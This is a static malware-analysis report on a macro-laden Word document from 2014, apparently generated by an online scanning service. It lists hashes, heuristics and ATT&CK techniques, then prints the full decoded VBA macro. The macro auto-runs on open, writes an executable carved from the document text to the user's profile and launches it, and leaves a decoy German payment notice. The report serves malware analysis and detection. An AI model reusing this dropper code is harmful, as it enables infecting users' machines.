Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3d53b54d98e14f9d…

MALICIOUS

Office (OLE)

367.0 KB Created: 2014-07-25 16:42:00 Authoring application: Microsoft Office Word First seen: 2014-09-26
MD5: 7ad977e490ead6a113d88aa8091d3dfd SHA-1: f5f3c7a449bc658dee88153fbc6cf21061eaa1df SHA-256: 3d53b54d98e14f9de2a2316fe09ee6b9fe27f2dacdd4ad85f52dd1e16eebb006
336 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1071.001 Web Protocols T1204.002 Malicious File

The sample contains VBA macros, including an AutoOpen macro, and triggers heuristics related to shell execution and GetObject calls, indicating malicious intent. The document body explicitly instructs the user to enable content, a common lure for macro-based malware. The presence of the MSScriptControl.ScriptControl heuristic (CVE-2015-0097) suggests exploitation of a known vulnerability. The ClamAV detection 'Doc.Downloader.Generic-6698421-0' further supports its classification as a downloader.

Heuristics 14

  • MSScriptControl.ScriptControl — CVE-2015-0097 high CVE likely CVE_2015_0097_SC
    MSScriptControl.ScriptControl — CVE-2015-0097
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         SYDCcNp = Shell(MSWOjjpoaUUINq)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
         Set HPerhoublMNTe = GetObject(, "word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
         Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
         DntsTF = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5014 bytes
SHA-256: 67621ebd522b9d12cf5e07ac7ce04b8759aa47aef839e9a01a33d84adb0954a9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{FAE7E2F1-6DC8-430F-96EE-DA670CFAEB3E}{70BDEAE2-BBFD-4A3D-A59F-179F6ABE6BD9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "NewMacros"
Sub HsQtneTenHy()
     Word.ActiveDocument.Range.Select
     Selection.WholeStory
     Selection.Delete Unit:=wdCharacter, Count:=1
     Dim ijDXTPwxwFBJ As Word.Document
     Set ijDXTPwxwFBJ = ThisDocument
     ijDXTPwxwFBJ.Range.InsertParagraphAfter
     ijDXTPwxwFBJ.Range.InsertAfter "Zu bezahlen:   575,82 EUR" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Bezahlt:   0,00 EURRest:   575,82 EUR" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Rente (Datei Nr. : 51123944" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Zu bezahlen:   575,82 EUR" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Bezahlt:   0,00 EURRest:   575,82 EUR" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Rente (berechnet bis 28052014):    326,73 EUR" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "" + vbLf
     ijDXTPwxwFBJ.Range.InsertAfter "Kosten:    162,46 EURZu  bezahlen (totale balans)  1 065,01 EUR" + vbLf
End Sub

Sub ueXbodkxgDeiip()
     Dim SYDCcNp As Integer
     Dim lVqieckvfu As Paragraph
     Dim MYMAQGywXqSxG As Integer
     Dim iQjcdDF As String
     Dim oLRRduZ As String
     Dim YqZVrmFxshgDAAW As Boolean
     Dim AdlObIICGc As Integer
     Dim oiZqskXSUmsR As String
     Dim DntsTF As String
     Dim HaaopXuwrHpc As Long
     Dim TZSmiCBQqxyrRRx As Byte
     Dim cvkSUTaahRLgo As String
     Dim OcmxOIVZ As String
     oiZqskXSUmsR = "mxQBAotfGK"
     oLRRduZ = "GssFip"
     OcmxOIVZ = "exe"
     uyZJhGXjbF = "."
     iQjcdDF = oLRRduZ + uyZJhGXjbF + OcmxOIVZ
     DntsTF = Environ("USERPROFILE")
     ChDrive (DntsTF)
     ChDir (DntsTF)
     MYMAQGywXqSxG = FreeFile()

     hBTedfQ

     Debug.Print ("After OnTime: " & Now)

     Dim ZRKLMKUgDCXZ As String
     Dim RcNbqzguCPB As String
     Dim VEyWMHiQHFYsdQ As String
     Dim vaEQiTUK As Document
     Dim PDEBoBKpo As String
     Dim ioatxlofmB As ScriptControl
     Set ioatxlofmB = UserForm1.ScriptControl1
     ioatxlofmB.Language = "VBS" + "cript"
     PDEBoBKpo = "ActiveDocument."
     VEyWMHiQHFYsdQ = "Paragraphs"
     RcNbqzguCPB = PDEBoBKpo + VEyWMHiQHFYsdQ
     Set HPerhoublMNTe = GetObject(, "word.Application")
     On Error GoTo oRtNHSnandIEo
     ioatxlofmB.AddObject "Obj", HPerhoublMNTe

oRtNHSnandIEo:
     For Each lVqieckvfu In ioatxlofmB.Eval("Obj." & RcNbqzguCPB)
          QLHCAYVHZmxSI (lVqieckvfu)
          cvkSUTaahRLgo = lVqieckvfu.Range.Text
          Debug.Print ("After OnTime: " & Now)
          If (YqZVrmFxshgDAAW = True) Then
               HaaopXuwrHpc = 1
          Dim ZPVLdKPjZO As Integer
          ZPVLdKPjZO = 4
               While (HaaopXuwrHpc < Len(cvkSUTaahRLgo))
                    TZSmiCBQqxyrRRx = Mid(cvkSUTaahRLgo, HaaopXuwrHpc, ZPVLdKPjZO)
                    Debug.Print ("After OnTime: " & Now)
                    Put #MYMAQGywXqSxG, , TZSmiCBQqxyrRRx
                    HaaopXuwrHpc = HaaopXuwrHpc + ZPVLdKPjZO
               Wend
          ElseIf (InStr(1, cvkSUTaahRLgo, oiZqskXSUmsR) > 0 And Len(cvkSUTaahRLgo) > 0) Then
               Dim hSxQJdITnIUBFV As Boolean
               hSxQJdITnIUBFV = True
               YqZVrmFxshgDAAW = hSxQJdITnIUBFV
          End If
          Next
     Close #MYMAQGywXqSxG
     jCYZAgTRm (iQjcdDF)
End Sub

Sub jCYZAgTRm(MSWOjjpoaUUINq As String)
     Dim SYDCcNp As Integer
     Dim DntsTF As String
     DntsTF = Environ("USERPROFILE")
     ChDrive (DntsTF)
     ChDir (DntsTF)

     Debug.Print ("After OnTime: " & Now)

     SYDCcNp = Shell(MSWOjjpoaUUINq)
     HsQtneTenHy
End Sub

Sub Workbook_Open()
     Auto_Open
End Sub

Sub AutoOpen()
     Auto_Open
End Sub

Sub Auto_Open()
     ueXbodkxgDeiip
End Sub

Sub hBTedfQ()
     Dim iQjcdDF As String
     Dim MYMAQGywXqSxG As Integer
     Dim OcmxOIVZ As String
     Dim oLRRduZ As String
     Dim uyZJhGXjbF As String
     oLRRduZ = "GssFip"
     uyZJhGXjbF = "."
     OcmxOIVZ = "exe"
     iQjcdDF = oLRRduZ + uyZJhGXjbF + OcmxOIVZ
     MYMAQGywXqSxG = FreeFile()
     Open iQjcdDF For Binary As MYMAQGywXqSxG
End Sub

Sub QLHCAYVHZmxSI(UgbFOAvRTct)
     DoEvents
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.